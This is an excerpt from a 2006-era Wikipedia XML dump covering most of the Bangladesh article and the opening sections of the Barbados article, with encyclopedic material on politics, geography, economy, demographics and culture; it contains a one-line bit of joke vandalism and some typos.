[[Khaleda Zia]] began her second (non-contiguous) 5-year term as Prime Minister in 2001. She is the head of the [[Bangladesh Nationalist Party]] (BNP) which has formed a coalition with [[Jatiya Party]] and the two moderate Islamist parties [[Jamaat-e-Islami Bangladesh]] and [[Islami Oikya Jot]]. The opposition is led by [[Sheikh Hasina]] and the [[Awami League]], which has been a key party since and prior to independence. Awami tends to adopt a more secular stance and tilts towards India, while BNP has closer relations with China. Awami-BNP rivalry has been bitter and punctuated by protests, violence and murder. This has been partly attributed to the personal animosity that continues to exist between the main two female leaders.

Two radical Islamist parties, Jagrata Muslim Janata Bangladesh (JMJB) and Jama'atul Mujahideen Bangladesh (JMB), were banned in February, 2005.  Since then, a series of bomb attacks have been blamed on those groups, and hundreds of their suspected members have been detained in numerous security operations. The first recorded case of a suicide bomb attack in Bangladesh took place in November 2005.

==Subdivisions==
[[Image:Bangladesh divisions english.png|thumb|250px|Map of Bangladesh showing the six administrative divisions]]
{{main|Divisions of Bangladesh}}
Bangladesh is divided into six administrative divisions, all named after their respective divisional headquarters:
* [[Barisal division|Barisal]]  বরিশাল
* [[Chittagong division|Chittagong]]  চট্টগ্রাম
* [[Dhaka division|Dhaka]]  ঢাকা
* [[Khulna division|Khulna]]  খুলনা
* [[Rajshahi division|Rajshahi]]  রাজশাহী
* [[Sylhet division|Sylhet]]  সিেলট

The next level of administrative unit is a district or ''zila'' (িজলা) (in [[Bengali language|Bangla]]). There are 64 districts in Bangladesh. For more information, see [[Districts of Bangladesh]].

Each district is further subdivided into ''thana'' or Police stations (formerly called upa-zila or sub-districts). Each police station, except for those in metropolitan areas, is divided into several unions. The unions consist of many villages. In the metropolitan areas, the unit is a ward, which consists of several ''mahalla'' or areas. At the district level there is no elected officials, only the government appointed administration. Direct elections are held for thana and union levels, in both cases electing a chairperson and a number of members of comissioners. Recently, legislation was passed to reserve one seat for a female candidate in every union.

[[Dhaka]] is the country's capital and largest city. Other major cities include [[Chittagong]], [[Rajshahi]], [[Sylhet]], and [[Khulna]].

See [[List of cities in Bangladesh]].

==Geography and climate==
[[Image:Satellite image of Bangladesh in October 2001.jpg|thumb|200px|left|NASA satellite Image of Bangladesh's physical features (click to enlarge)]]
[[Image:Kaptai_lake01.jpg|right|250px|thumb|Kaptai Lake on [[Karnaphuli River]] in [[Rangamati District]]]]
{{main|Geography of Bangladesh}}
Bangladesh consists mostly of a low-lying [[river delta]] located on the [[Indian subcontinent]], in the geographic region called the [[Ganges Delta]] or Ganges-Brahmaputra River Delta. This densely populated delta is formed by the confluence of the [[Ganges]] (local name ''Padma'' or ''Pôdda''), [[Brahmaputra]] (''Jomuna''), and [[Meghna]] rivers and their tributaries as they flow down from the [[Himalaya]]. It is the largest river delta in the world. Bangladesh's [[alluvial soil]] is highly fertile but vulnerable to flood and [[drought]]. Hills rise above the plain only in the [[Chittagong Hill Tracts]] (highest point: in the Mowdok range at 1,052&amp;nbsp;[[metre|m]] (3,451&amp;nbsp;[[foot (unit of length)|ft]]), N&amp;nbsp;21°47'12&quot;&amp;nbsp;E&amp;nbsp;92°36'36&quot;, not [[Keokradong]], 883&amp;nbsp;m (2,897&amp;nbsp;ft) not 1,230&amp;nbsp;m (4,035&amp;nbsp;ft) as sometimes reported) in the far southeast and the [[Sylhet division]] in the northeast. Most parts of Bangladesh are less than 10 meters above sea level, and it is belived that about 10% of the land would be flooded if the sea level were to rise by 1 meter.&lt;ref name=&quot;alia&quot;&gt;Ali, A (1996). ''Vulnerability of bangladesh to climate change and sea level rise through tropical cyclones and storm surges'', Water, Air, &amp; Soil Pollution. 92(1-2). pp 171-179.&lt;/ref&gt;

A large part of the coastline consists of the  [[marsh|marshy]] [[jungle]] known as the [[Sundarbans]]. Sundarbans, one of the largest [[mangrove]] [[forests]] in the world, is home to very diverse flora and fauna, including the (Royal) [[Bengal Tiger]]. This region is endangered and half the size it used to be 150 years ago with subtantial reduction in diversity as well.&lt;ref name=&quot;sundwild&quot;&gt;''Sundarban wildlife sanctuaries Bangladesh'', World Heritage Nomination-IUCN Technical Evaluation.&lt;/ref&gt;

Straddling the [[Tropic of Cancer]], the Bangladeshi climate is [[Tropics|tropical]] with a mild winter from October to March, a hot, humid summer from March to June, and a humid, warm rainy [[monsoon]] from June to October. Natural calamities, such as [[flood]]s, [[tropical cyclone]]s, [[tornado]]es, and [[tidal bore]]s affect the country almost every year, combined with the effects of [[deforestation]], [[soil degradation]] and [[erosion]]. [[Cox's Bazar]], south of the city of [[Chittagong]], has a sea beach that stretches uninterrupted over 120 kilometres (75&amp;nbsp;[[mile|mi]]); it is frequently quoted as the World's longest natural sea beach (although this claim is difficult to prove or disprove).

==Economy==
{{main|Economy of Bangladesh}}
[[Image:Cox's Bazaar Fishermen.jpg|thumb|right|250px|Fishermen near the town of Cox's Bazaar in southern Bangladesh. Many industries in Bangladesh are still primitive by modern standards.]]

Despite sustained domestic and international efforts to improve economic and demographic prospects, Bangladesh remains an underdeveloped, [[overpopulation|overpopulated]], and ill-governed nation. The par capita income in 2004 was a low 440$, and many other economic indicators were less than impressive [http://www.unicef.org/infobycountry/bangladesh_bangladesh_statistics.html]. Yet, as the [[World Bank]] notes in its July 2005 Country Brief, the country has made impressive progress in human development by focusing on increasing [[literacy]], achieving gender parity in schooling, and reducing population growth.

[[Jute]] was once Bangladesh's economic engine. Its share of the world export market peaked in the late 1940s at 80% [http://banglapedia.search.com.bd/HT/J_0135.HTM] and even in the early 1970s accounted for 70% of its export earnings. But after [[polypropylene]] products began to substitute jute products in the world economy, Bangladesh's jute industry started to slow down.

Bangladesh also grows significant quantities of [[rice]], [[tea]] and [[Mustard plant|mustard]]. Although two-thirds of Bangladeshis are farmers, nowadays more than three quarters of Bangadesh's export earnings come from the [[garment industry]] [http://news.bbc.co.uk/2/hi/south_asia/4118969.stm],
which began attracting foreign investors in the 1980s due to cheap labor and low conversion cost. In 2002, the industry exported $5 billion worth of products. &lt;ref name=&quot;rahs&quot;&gt;Rahman, Shahidur (2004). ''Global Shift: Bangladesh Garment Industry in Perspective'', Asian Affairs, 26(1), pp 75-91.&lt;/ref&gt; The industry now employs more than 3 million workers, 90% of whom are women.&lt;ref name=&quot;begn&quot;&gt;Begum, N (2001). ''Enforcement of Safety Regulations in Garment sector in Bangladesh'', Growth of Garment Industry in Bangladesh: Economic and Social dimension. pp 208-226&lt;/ref&gt; A significant amount of foreign currency earnings also come from the remittances sent by expatriate Bangladeshis living in other countries.

Major impediments to growth include frequent cyclones and floods, inefficient state-owned enterprises, mismanaged [[port]] facilities, a growth in the labor force that has outpaced jobs, inefficient use of energy resources (such as [[natural gas]]), insufficient power supplies, slow implementation of economic reforms, political infighting and [[Political corruption|corruption]]. According to the World Bank's Country Brief updated July, 2005: &quot;Among Bangladesh’s most significant obstacles to growth are poor governance and weak public institutions.&quot; 
[http://web.worldbank.org/WBSITE/EXTERNAL/COUNTRIES/SOUTHASIAEXT/BANGLADESHEXTN/0,,menuPK:295769~pagePK:141132~piPK:141107~theSitePK:295760,00.html]

In spite of the hurdles, since 1990 the country has achieved an average annual growth rate of 5% according to the World Bank. The [[middle class]] and the [[consumer]] industry have seen some growth. In December 2005, four years after its report on the emerging &quot;BRIC&quot; economies ([[Brazil]], [[Russia]], [[India]], and [[China]]), [[Goldman Sachs]] named Bangladesh one of the &quot;Next Eleven,&quot; along with [[Egypt]], [[Indonesia]], [[Iran]], [[South Korea]], [[Mexico]], [[Nigeria]], Pakistan, the [[Philippines]], [[Turkey]] and [[Vietnam]]. Bangladesh has seen a sharp increase in [[foreign direct investment]]. A number of multinational corporations, including [[Unocal]] and [[Tata]], have made significant investments, with the [[natural gas]] sector a priority. In December 2005, the Central Bank of Bangladesh projected GDP growth between 6.3% to 6.8%.

One significant contributor to the development of the economy has been the widespread propagation of [[Microcredit]] by [[Muhammad Yunus]] through the [[Grameen Bank]]. Already in late 1990's Grameen Bank had 2.3 million members, with a further 2.5 million members of other similar organizations.&lt;ref name=&quot;schm&quot;&gt;Schreiner1, Mark (2003). ''A Cost-Effectiveness Analysis of the Grameen Bank of Bangladesh'', Development Policy Review, 21(3), pp 357-382&lt;/ref&gt;

==Demographics==
{{main|Demographics of Bangladesh}}

Bangladesh has a population of 144 million (July 2005 est.) making it the 7th most populous country in the world. Bangladesh is the one of the [[List of countries by population density|most densely populated countries in the world]] at about 1,000 persons per square kilometre (2,585/sq.&amp;nbsp;mi). In the mid-1980's, the government promoted [[birth control]], which helped to reduce the population growth rate to about 2%. However, Most of the people are relatively young, (the 0-25 age group represents 60 percent of the total population and only 3 percent being 65 or older). Life expectancy rate is 61 years.

Bangladesh is ethnically homogeneous, with Bengalis comprising 98% of the population. The remainder are mostly [[Bihari]] migrants and indegenous tribal groups.  There are 13 tribal groups located in the [[Chittagong Hill Tracts]], the most populous of the tribes are the [[Chakma|Chakmas]]. The region has been a source for ethnic tension since the inception of Bangladesh.&lt;ref name=&quot;rashm&quot;&gt; Rashiduzzaman, M (1998). ''Bangladesh's Chittagong Hill Tracts Peace Accord: Institutional Features and Strategic Concerns''. Asian Survey, 38(7), pp. 653-670.&lt;/ref&gt; The largest tribal groups outside the Hill Tracts are the [[Santal|Santhals]] and the [[Garo (tribe)|Garos (Achiks)]].

The main language, as in [[West Bengal]], is [[Bangla]] (Bengali), an [[Indo-Aryan languages|Indo-Aryan language]] of [[Sanskrit]] origin (like [[Hindi]], [[Punjabi]], and [[Gujarati language|Gujarati]] and others). The language is written in its own [[Bengali script]]. Bangla is the official language of Bangladesh, but [[English language|English]] is widely spoken as a second language among the middle and upper classes, and is often used in official tasks and higher education.

The two major religions practiced in Bangladesh are [[Islam]] (83% [[CIA]] est. 1998, 88% US State Department est. 2005) and [[Hinduism]] (16% CIA est. 1998, 11% US State Dept. 2005). The ethnic Biharis are predominantly [[Shia]] Muslims. There are also some [[Buddhism in Bangladesh|Buddhists]], [[Christianity|Christians]], and [[animism|Animists]].

Health and education levels have improved steadily, poverty levels have gone down. Nevertheless, Bangladesh remains among the poorest nations in the world. Most Bangladeshis are rural and poor, living on subsistence farming. Nearly half of the population lives on less than 1 USD per day. Health problems abound, ranging from [[surface water]] contamination, to [[arsenic]] in the [[ground water]], and diseases including [[malaria]], [[leptospirosis]] and [[dengue]]. Literacy rates are 54% among men and 32% among women.

==Culture==
{{main|Culture of Bangladesh}}
Bangladesh has a vibrant culture that encompasses traditions both old and new. The [[Bangla language]] boasts a rich literary heritage, mostly shared by Bangladesh and [[West Bengal]]. The first literary text in Bangla is the seventh century [[Charyapada]]. The medieval ages saw much activity in Bangla literature by poets like [[Alaol]] and [[Chandidas]]. Bangla literature matured in the nineteenth century. The greatest literary icons are [[Rabindranath Tagore]] and [[Kazi Nazrul Islam]]. Rabindranath wrote what was later adopted as Bangladesh's national anthem [[Amar Shonar Bangla]], whereas a song of Nazrul was adopted as the Martial song. Contemporary Bangladesh keeps producing a substantial amount of litearture of all forms. Bangladesh also has a rich tradition in folk literature, evidenced by ''Môemonshingha gitika'', ''Ţhakurmar Jhuli'' or stories related to ''Gopal Bhar'' and ''[[Birbal]]''.

The musical tradition of Bangladesh is lyrics-based (''Baniprodhan''), with minimal instrumental accompaniment. The [[Baul]] tradition is a unique heritage of Bangla folk music, and [[Lalon Fakir]] perhaps the best-known of Bauls. Folk music of Bengal is often accopanied by the [[ektara|êktara]], a string instrument with only one string. Other instruments include the [[dotara]], [[dhol|đhol]], [[khanjan]], and [[tabla]], among others. Bangladesh also has an active heritage in [[Indian classical music|North Indian classical music]]. Perhaps the most famous classical musician from Bangladesh is [[Allauddin Khan|Ustad Allauddin Khan]]. Similarly, Bangladeshi dance forms also draw from folk traditons, specially those of the various tribal groups, as well as the broader Indian dance tradition.

Bangladesh produces about 60 films a year. However Bangladeshis are avid consumers of [[Bollywood]]-made cinema, as well as films from [[Kolkata]], in West Bengal, which has its own thriving Bengali-language movie industry.

==Sports==
{{main|Sports in Bangladesh}}

[[Cricket]] is perhaps the most popular sport in Bangladesh. The Bangladesh cricket team were granted [[test cricket]] status and joined the elite  league of national teams that play [[test cricket|test matches]] in 2000. Other popular sports include [[football]], [[field hockey]], [[tennis]], [[badminton]], [[handball]], [[kabadi]], [[volleyball]], [[chess]], and [[carrom]]. Kabadi (কাবাডি), a 7-on-7 team sport played without a ball or any other equipment, is the national game of Bangladesh. The Bangladesh Sports Control Board was established, and as of 2005 it regulates 29 different sporting federations.

On the international stage, Bangladesh has had its most noteworthy successes in cricket and chess. In 2005, Bangladesh won its first 5-day test match against Zimbabwe and defeated the best team and 2003 world champion Australia in a [[one-day international|one-day match]] in one of the biggest upsets in cricket history. In chess, Bangladesh has had two [[International Grandmaster|Grandmasters]]: [[Niaz Morshed]] and more recently [[Ziaur Rahman]]. Players from Bangladesh have won gold medals in shooting in the [[Commonwealth Games]].

==Education==
[[Image:BUET EME Building.jpg|left|thumb|250px|A view of the Electrical and Mechanical Engineering Building at BUET]]
{{main|Education in Bangladesh}}

The literacy rate in Bangladesh is approximately 41% [http://hdr.undp.org/statistics/data/countries.cfm?c=BGD]. Education in Bangladesh is highly subsidized by the Government, which operates many [[school]]s and colleges at the [[primary school|primary]], [[secondary school|secondary]] and higher secondary level as well as many public [[university|universities]]. To increase the literacy level, many innovative programs have been introduced in the country. Among the most sucessful ones are Food for education (FFE) program introduced in 1993.&lt;ref name=&quot;ahma&quot;&gt;Ahmed, A and del Nino, C (2002).''The food for education program in Bangladesh: An evaluation of its impact on educational attainment and food security'', FCND DP No. 138, International Food Policy Research Institute&lt;/ref&gt; The Government also greatly subsidises the salaries of teachers in non-government schools. To promote literacy among women, a stipend program for women till the higher secondary level was instituted in 1994. A government-funded program gives incentives like [[stipend]]s and food for continuing education in the secondary level. Administratively, the country is divided into seven education boards (Barishal, Chittagong, Comilla, Dhaka, Jessore, Rajshahi and Sylhet Education Boards) which oversee education from the primary to the higher secondary level, and conduct the primary and junior scholarship examinations, the [[SSC|Secondary School Certificate]] examination, and the [[HSC|Higher Secondary Certificate]] examination. 

[[Higher education]] is also subsidized by the government, and most of the students seeking college education are enrolled in a public instituition. [[Dhaka University]] is the largest and oldest of all the public universities in Bangladesh. The National University regulates all public colleges in the country, hence an undergraduate student at a public college receives a degree from the National University. [[Bangladesh University of Engineering and Technology]] (BUET), located in Dhaka, is the foremost instituition for technology in the country. There are newer universities in Chittagong, Khulna, Gazipur, Rajshahi and Sylhet that also provide engineering education. Public education in medical sciences is provided by Medical Colleges, each regulated by a public university. Postgraduate education in medical sciences is provided by BSMM University in Dhaka. [[Bangladesh Agricultural University]] in [[Mymensingh]] is the premier institution for agricultural studies, though other institutes exists as well. There are also a number of polytechnic institutes providing diplomas in specific technologies. Bangladesh also has a [[leather]] institute, a textile institute and other specialized education centers. Since the 1990's, higher education has boomed with the introduction of private universities. There are many private universities providing general, engineering and medical education.

Notable reseach institutions include [[BRRI|Bangladesh Rice Research Institute]] and [http://www.icddrb.org/ International Center for Diarrhoeal Disease Research].

==Holidays==
{{further|[[Public holidays in Bangladesh]]}}

Bangladesh has eleven National Holidays, based on three separate calendars: [[Gregorian calendar|Gregorian]], [[Islamic calendar|Islamic]], and [[Bengali calendar|Bengali]] calendars.

&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;90%&quot; style=&quot;border-collapse:collapse; border:1px solid #aaa; text-align:left&quot;
|-
! style=&quot;background:#efefef;&quot; width=&quot;15%&quot; | Date
! style=&quot;background:#efefef;&quot; width=&quot;20%&quot; | Holiday
! style=&quot;background:#efefef;&quot; | Remarks
|-
| 1 [[Shawwal]]
| [[Eid ul-Fitr]]
| Muslim festival marking the end of the month [[Ramadan]]
|-
| 10 [[Dhu al-Hijjah]]
| [[Eid ul-Adha|Korbani Eid (Eid ul-Adha)]]
| Muslim festival of sacrifice
|-
| [[Asharh]]
| Buddhist Full Moon festival
| Buddhist festival on the month of [[Asharh]]
|-
| Varies
| [[Durga]] Puja
| [[Hindu]] festival of the goddess [[Durga]]
|-
| [[21 February]]
| [[Language Movement Day|Shohid Dibôsh (Language Martyrs' Day)]]
| This day commemorates the struggle for [[Bengali language]] in 1952.
|-
| [[26 March]]
| [[Bangladeshi Independence Day|Shadhinota Dibôsh (Independence Day)]]
| This day marks the official declaration of Bangladesh, and the start of the [[Bangladesh Liberation War]].
|-
| [[15 April]] &lt;br&gt; [[Pohela Baishakh|1 Boishakh]]
| [[Pohela Baishakh|Pôhela Boishakh (Bangla New Year's Day)]]
| Festival marking the start of the year according to [[Bangla Calendar]]
|-
| [[1 May]]
| [[May Day]]
| This day marks the solidarity of workers worldwide.
|-
| [[7 November]]
| [[National Revolution and Solidarity Day]]
| This day marks a 1975 uprising of people and soldiers
|-
| [[16 December]]
| [[Victory Day (Bangladesh)|Bijôe Dibôsh (Victory Day)]]
| This day marks end of the [[Bangladesh Liberation War]]
|-
| [[25 December]]
| [[Christmas|Bôŗodin (Christmas)]]
| Christian festival marking the birth of [[Jesus Christ]]
|}
&lt;/center&gt;

==See also==
*[[List of Bangladesh-related topics]]

== External links ==
{{sisterlinks|Bangladesh}}
{{Portal}}

'''Official'''
* [http://www.bangladesh.gov.bd Bangladesh Government Official Web Page]
* [http://www.bd-ec.org/index.php3 Election Commission Secretariat]
* [http://www.parliamentofbangladesh.org/indexeng.html Official parliamentary site]
* [http://www.forms.gov.bd/eng/ Electronic forms from the Government of Bangladesh]
* [http://www.nbr-bd.org National Board of Revenue]
* [http://www.bttb.gov.bd Bangladesh Telephone and Telegraph Board (BTTB/T&amp;amp;T)]

'''Others'''
* [http://banglapedia.search.com.bd/ Banglapedia - National Encyclopedia of Bangladesh]
* [http://www.un-bd.org/bgd/index.html United Nations in Bangladesh]
* [http://www.bgmea.com/ Bangladesh Garment Manufacturers and Exporters Association]
* [http://www.fbcci-bd.org/ Federation of Bangladesh Chambers of Commerce and Industry]
* [http://www.sdnpbd.org/sdi/policy/ Various policies of Bangladesh]
* [http://www.gendercide.org/case_bangladesh.html Genocide in Bangladesh, 1971]
* [http://1971.uttorshuri.net/ Uttorshuri on 1971]
* [http://www.state.gov/r/pa/ei/bgn/3452.htm Background Note: Bangladesh], U.S. Department of State (Aug. 2005). 
* [[CIA World Factbook]], US Department of State, World Bank

==References==
;Notes
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;
;Further reading
&lt;div style=&quot;font-size: 85%&quot;&gt;
* {{Harvard reference
 | Surname1    = Collins
 | Given1      = L
 | Surname2    = Lapierre
 | Given2      = D
 | Year        = 1986
 | Title       = Freedom at Midnight
 | Edition     = 18
 | Publisher   = Vikas Publishers, New Delhi
 | ID          = ISBN 0-7069-2770-2
}}.
* {{Harvard reference
 | Surname1    = Imam
 | Given1      = J
 | Year        = 1998
 | Title       = Of Blood and Fire: The Untold Story of Bangladesh's War of Independence
 | Edition     = 2
 | Publisher   = Dhaka University Press Ltd
}}.
* {{Harvard reference
 | Surname1    = Mascarenhas
 | Given1      = A
 | Year        = 1986
 | Title       = Bangladesh: A Legacy of Blood
 | Publsher    = Hodder &amp; Stoughton, London
 | ID          = ISBN 0-340-39420-X
}}.
* {{Harvard reference
 | Surname1    = Rashid
 | Given1      = H 
 | Year        = 1978
 | Title       = Geography of Bangladesh
 | Publisher     = Westview Press, Boulder, Colorado.
}}.
* {{Harvard reference
 | Surname1    = Riaz
 | Given1      = A
 | Year        = 2005
 | Title       = Bangladesh in 2004: The Politics of Vengeance and the Erosion of Democracy
 | Journal     = Asia Survey
 | Issue       = XLV(Jan/Feb)
}}.
&lt;/div&gt;



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{{Asia}}

[[Category:Bangladesh| ]]
[[Category:Bengal]]
[[Category:Former British colonies]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:OIC countries]]
[[Category:SAARC members]]
[[Category:South Asian countries]]

[[an:Bangladesh]]
[[ar:بنغلاديش]]
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[[bn:বাংলাদেশ]]
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[[ja:バングラデシュ]]
[[ka:ბანგლადეში]]
[[ko:방글라데시]]
[[ks:Baṅgalādēśa]]
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[[lt:Bangladešas]]
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[[mk:Бангладеш]]
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[[os:Бангладеш]]
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[[ru:Бангладеш]]
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[[sh:Bangladeš]]
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[[sq:Bangladeshi]]
[[sr:Бангладеш]]
[[sv:Bangladesh]]
[[ta:பங்களாதேஷ்]]
[[te:బంగ్లాదేశ్]]
[[tg:Бангладеш]]
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[[zh-min-nan:Bangladesh]]</text>
    </revision>
  </page>
  <page>
    <title>Barbados</title>
    <id>3455</id>
    <revision>
      <id>41941540</id>
      <timestamp>2006-03-02T19:55:01Z</timestamp>
      <contributor>
        <ip>142.214.108.55</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Barbados infobox}}
'''Barbados''' is an [[island nation]] located towards the east of the [[Caribbean Sea]] and in the west of the [[Atlantic Ocean]], part of the eastern islands of the [[Lesser Antilles]], with the nations of [[Saint Lucia]] and [[Saint Vincent and the Grenadines]] being its closest neighbours. The island is  430 [[square kilometre]]s, (166 [[square mile|sq.&amp;nbsp;mi]]), and is primarily low-lying, with some higher areas in the island's interior. It is located 13° north of the [[Equator]] and 59° west of the [[Prime Meridian]], about 434.5 [[kilometre]]s (270 [[mile|mi]]) northeast of [[Venezuela]].

Barbados is predominantly composed of [[coral]] and [[limestone]]. It is tropical with constant [[trade wind]]s and contains of some [[marsh]]es and [[mangrove]] [[swamp]]s. Some parts of the island's interior are also dotted with large sugarcane estates and wide [[pastures]] with many good views to the sea.

Barbados has one of the highest standards of living and literacy rates in the world and, according to the [[United Nations Development Programme]] (UNDP), is currently the No. 1 developing country in the world. The island is a major tourist destination.

==History==
{{main|History of Barbados}}
The earliest inhabitants of Barbados were [[Amerindian]] nomads. Three waves of migrants moved north toward [[North America]]. The first wave was of the [[Saladoid]]-[[Barrancoid]] group, who were farmers, fishermen, and ceramists that arrived by [[canoe]] from [[South America]] ([[Venezuela]]'s [[Orinoco River|Orinoco Valley]]) around [[350|350 CE]]. The [[Arawak]] people were the second wave of migrants, arriving from South America around [[800|800 CE]]. Arawak settlements on the island include [[Stroud Point]], [[Chandler Bay]], [[Saint Luke's Gully]], and [[Mapp's Cave]]. According to accounts by descendants of the aboriginal Arawak tribes on other local islands, the original name for Barbados was '''Ichirouganaim'''. In the 13th century, the Caribs arrived from South America in the third wave, displacing both the Arawak and the Salodoid-Barrancoid. For the next few centuries, the Caribs&amp;mdash;like the Arawak and the Salodoid-Barrancoid&amp;mdash;lived in isolation on the island.

The name &quot;Barbados&quot; comes from a [[Portuguese colonization of the Americas|Portuguese explorer]] named Pedro Campos in [[1536]], who originally called the island '''Los Barbados''' (&quot;The Bearded Ones&quot;), upon seeing the appearance of the island's [[fig]] trees, whose long hanging aerial roots he thought resembled beards. Between Campos' sighting in 1536 and 1550, [[Spanish colonization of the Americas|Spanish]] [[conquistadors]] seized many Caribs on Barbados and used them as [[Slavery|slave labor]] on [[plantation]]s. Other Caribs fled the island, moving elsewhere.

British sailors who landed on Barbados in the 1620s at the site of present-day [[Holetown]] on the Caribbean coast found the island uninhabited. From the arrival of the first British settlers in [[1627]]&amp;ndash;[[1628]] until independence in [[1966]], Barbados was under uninterrupted British control. Nevertheless, Barbados always enjoyed a large measure of local autonomy. Its [[Barbados House of Assembly|House of Assembly]] began meeting in [[1639]]. Among the initial important British figures was Sir [[William Courten]].

Large numbers of [[Celts |Celtic]] people, mainly from [[Ireland]] and [[Scotland]], went to Barbados as [[indentured servants]]. Over the next several centuries the Celtic population was used as a buffer between the [[Anglo-Saxon]] plantation owners and the larger [[African]] population, variously serving as members of the Colonial militia and playing a strong role as allies of the larger African slave population in a long string of colonial rebellions. The modern descendants of this original slave population are sometimes derisively referred to as [[Red Legs]] and are some of the poorest inhabitants of modern Barbados. There has also been large scale intermarriage between the African and Celtic populations on the islands. Because the Africans could withstand tropical diseases and the climate much better than the white slave population, and also because those poor whites who had or acquired the means to emigrate often did so, Barbados turned from mainly Celtic in the 17th century to overwhelmingly black by the 20th century.

As the [[sugar]] industry developed into the main commercial enterprise, Barbados was divided into large plantation estates that replaced the small holdings of the early British settlers. Some of the displaced farmers relocated to British colonies in North America, most notably [[South Carolina]]. To work the plantations, West Africans were transported and enslaved on Barbados and other Caribbean islands. The [[slave trade]] ceased in 1804. Thirty years later slavery was abolished in the British Empire in [[1834]]. In Barbados and the rest of the British West Indian colonies, full emancipation from slavery was preceded by an apprenticeship period that lasted six years.

Plantation owners and merchants of British descent dominated local politics. It was not until the 1930s that the descendants of emancipated slaves began a movement for political rights. One of the leaders of this movement, Sir [[Grantley Adams]], founded the [[Barbados Labour Party]] in [[1938]].

Progress toward more democratic government for Barbados was made in [[1951]], when universal adult suffrage was introduced, followed by steps toward increased self-government, and in [[1961]], Barbados achieved internal autonomy.

From [[1958]] to [[1962]], Barbados was one of the ten members of the [[West Indies Federation]], and Sir [[Grantley Adams]] served as its first and only prime minister. When the federation was dissolved, Barbados reverted to its former status as a [[self-governing colony]]. Following several attempts to form another federation composed of Barbados and the Leeward and Windward Islands, Barbados negotiated its own independence at a constitutional conference with the United Kingdom in June [[1966]]. After years of peaceful and democratic progress, Barbados became an independent state within the [[Commonwealth of Nations]] on [[November 30]], [[1966]] On an interesting sidenote, Bados resides here. You may know him if you've chilled here.

==Politics==
{{main|Politics of Barbados}}
[[Elizabeth II of the United Kingdom|Queen Elizabeth II]] is nominally recognized as Queen of Barbados, [[head of state]] as represented by a [[Governor General]]. In Barbados the Queen is styled &quot;By the Grace of God, Queen of Barbados and of Her other Realms and Territories, Head of the Commonwealth.&quot; The present government is proposing that Barbados become a [[republic]] within the [[Commonwealth of Nations]], with a ceremonial [[president]] replacing the Queen. This issue still being hotly debated as the island has been governmentally autonomous for decades.

Barbados has been an independent state in the Commonwealth since [[November 30]], [[1966]], and as such functions as a parliamentary democracy modelled after the British [[Westminster system]]. Control of the government is held by the Cabinet and is responsible to the Parliament, which comrpises a 30-seat [[Barbados House of Assembly|House of Assembly]] and a 21-seat [[Senate of Barbados|Senate]]. Barbados is one of the most secure democracies in the Caribbean{{fact}}. [[Executive branch|Executive power]] is in the hands of the [[prime minister]] and his [[cabinet (government)|cabinet]]. The prime minister is usually the leader of the winning party in the elections for the House of Assembly, whose members are elected every five years. The Senate has 21 members, and its members are appointed by the governor general.

Barbados is a full and participating member of the [[Caribbean Community]] (CARICOM).

==Geography==
{{main|Geography of Barbados}}
[[Image:Barbados map.png|right|Map of Barbados]]
Barbados is a relatively flat island, rising gently to central highland region, the highest point being [[Mount Hillaby]] at 336 [[metre]]s (1,100 [[foot (unit of length)|ft]]) above sea level. The island is located in a slightly eccentric position in the [[Atlantic Ocean]] compared to other [[Caribbean]] islands. The [[climate]] is tropical, with a rainy season from June to October.

Though one might assume the island deals with severe tropical storms and hurricanes during the rainy season it actually does not.  The island gets brushed or hit every 3.09 years and the average number of years between direct hurricane hits is once every 26.6 years.

In the parish of [[Saint Michael Parish, Barbados|Saint Michael]] lies Barbados' chief city [[Bridgetown]], which is the nation's capital. Locally [[Bridgetown]] is sometimes referred to as &quot;The City&quot; or &quot;B-town&quot;, and the most common reference is simply &quot;'Town&quot;. Other towns include [[Holetown]], in the parish of [[Saint James Parish, Barbados|Saint James]] [[Oistins]], in the parish of [[Christ Church]] and [[Speightstown, Barbados|Speightstown]], in the parish of [[Saint Peter Parish, Barbados|Saint Peter]].

The island is 23 kilometres (14 [[mile|mi]]) at its widest point, and about 34 kilometres (21&amp;nbsp;mi) long.

==Parishes==
{{main|Parishes of Barbados}}
Barbados is divided into eleven [[parish]]es: [[Christ_Church_Parish,_Barbados|Christ Church]], [[Saint_Andrew_Parish,_Barbados|Saint Andrew]], [[Saint_George_Parish,_Barbados|Saint George]], [[Saint_James_Parish,_Barbados|Saint James]], [[Saint_John_Parish,_Barbados|Saint John]], [[Saint_Joseph_Parish,_Barbados|Saint Joseph]], [[Saint_Lucy_Parish,_Barbados|Saint Lucy]], [[Saint_Michael_Parish,_Barbados|Saint Michael]], [[Saint_Peter_Parish,_Barbados|Saint Peter]], [[Saint_Philip_Parish,_Barbados|Saint Philip]], and [[Saint_Thomas_Parish,_Barbados|Saint Thomas]].
&lt;br&gt;&lt;br&gt;

==Economy==
{{main|Economy of Barbados}}
Historically, the economy of Barbados had been dependent on [[sugarcane]] cultivation and related activities, but production in recent years has been diversified into the [[manufacturing]] and [[tourism]] sectors. Offshore finance and information services have become increasingly important foreign exchange earners, and there is also a healthy interest into the island's light manufacturing sector. In the last ten years the Government has been seen as business-friendly and economically sound. Since the late 1990s the island has seen an increasing construction boom, the island began to see new hotels, redevelopments, new homes, office complexes, condominiums, and mansions being developed across the island.

The government continues its efforts to reduce [[unemployment]], encourage direct foreign investment, and privatize remaining state-owned enterprises. Unemployment has been reduced from high levels of around 14 percent in the past to under 10%.

The economy contracted in [[2001]] and [[2002]] due to slowdowns in tourism, consumer spending and the impact of the [[September 11, 2001 attacks]], but the economy rebounded in [[2003]] and showed growth for [[2004]]. Traditional trading partners include [[Canada]], the [[Caribbean Community]] (especially [[Trinidad and Tobago]]), the [[United Kingdom]], and the [[United States]].

Business links and investment flows have become substantial, as of 2003 the island saw from [[Canada]] CAN$25 Billion in investment holdings, placing it as one of Canada's top five destinations of Canadian [[Foreign Direct Investment]] (FDI). Businessman [[Eugene Melnyk]] of [[Toronto]] in [[Ontario]], [[Canada]], is said to be Barbados' richest permanent resident.

In 2004 it was announced that Barbados' [[Kensington Oval|Kensington Oval]] will be one of the final venues hosting the [[2007 cricket World Cup|2007 Cricket World Cup]].

It is thought the year 2006 will be one of the busiest years for building construction ever in Barbados, as the building-boom on the island has entered a final stage for several multi-million dollar projects across the island. [http://www.nationnews.com/story/285076846570648.php].

